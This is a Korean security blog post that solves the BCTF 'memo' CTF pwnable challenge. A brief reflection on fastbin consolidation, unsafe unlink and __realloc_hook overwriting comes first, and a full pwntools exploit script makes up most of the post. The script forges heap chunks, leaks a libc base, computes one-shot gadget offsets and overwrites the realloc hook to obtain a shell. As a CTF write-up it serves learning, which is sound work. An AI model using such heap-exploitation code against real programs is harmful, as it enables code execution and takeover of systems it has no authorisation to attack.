Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

BCTF memo 본문

Security/Pwnable

BCTF memo

Cdor1 2016. 12. 11. 17:08

후기: 이번 문제도 oneshot 가젯을 좀더 위로 줘야 먹히는 문제였다. (두번은 안속징 ㅋ)

이전에 포스팅했던 fastbin consolidate를 활용해 free가 없는 문제에서 fastbin을 large bin 할당으로 인해 강제로 병합시킴으로써

unlink트리거가 가능해졌고 full relro가 설정되어있어 .got영역을 덮는 것이 불가했는데 __realloc_hook을 덮음으로써 realloc을 호출할 때에

내가 원하는 함수를 부를 수 있게되는 것을 배웠다. 여러모로 재미있고 참신한 문제였던것 같다. ㅎ


from pwn import*
 
s = remote('localhost', 4000)
 
def show():
    print s.recvuntil('6.exit')
    s.sendline('1')
  
def edit(data):
    print s.recvuntil('6.exit')
    s.sendline('2')
    print s.recvuntil(':')
    s.sendline(data)
 
def tear(size,data):
    print s.recvuntil('6.exit')
    s.sendline('3')
    print s.recvuntil(':')
    s.sendline(str(size))
    print s.recvuntil(':')
    s.sendline(data)
 
def change_name(data):
    print s.recvuntil('6.exit')
    s.sendline('4')
    print s.recvuntil(':')
    s.sendline(data)
 
def change_title(data):
    print s.recvuntil('6.exit')
    s.sendline('5')
    print s.recvuntil(':')
    s.sendline(data)

ptr = 'A'*0x38
ptr += p64(0x41)
edit(ptr)

tear(180, "")
tear(128, "")

fake = p64(0)
fake += p64(0x20)
fake += p64(0x602040 - 24)
fake += p64(0x602040 - 16)
fake += p64(0x20)
fake += p64(0x40)
change_name(fake)

tear(0x400, "")

fake2 = p64(0)
fake2 += p64(0x602030)
fake2 += p64(0x601FD0)
change_name(fake2)

show()
print s.recvuntil("write:\n")
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x6e160
oneshot = libc_base + 0x46590
realloc_hook = libc_base + 0x3BE730
binsh = libc_base + 0x17C8C3
log.info('libc_base : ' + hex(libc_base))
log.info('oneshot : ' + hex(oneshot))
log.info('realloc_hook : ' + hex(realloc_hook))
log.info('/bin/sh : ' + hex(binsh))

fake3 = p64(realloc_hook)
fake3 += p64(binsh)
fake3 += p64(0)* 3
change_title(fake3)

change_title(p64(oneshot))

s.sendline('3')
s.sendline('128')

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

SECCON CTF 2016 jmper  (0) 2016.12.28
SECCON CTF 2016 chat  (0) 2016.12.18
fastbin consolidate  (0) 2016.12.08
unsafe unlink  (0) 2016.12.07
0ctf freenote  (0) 2016.12.06
Comments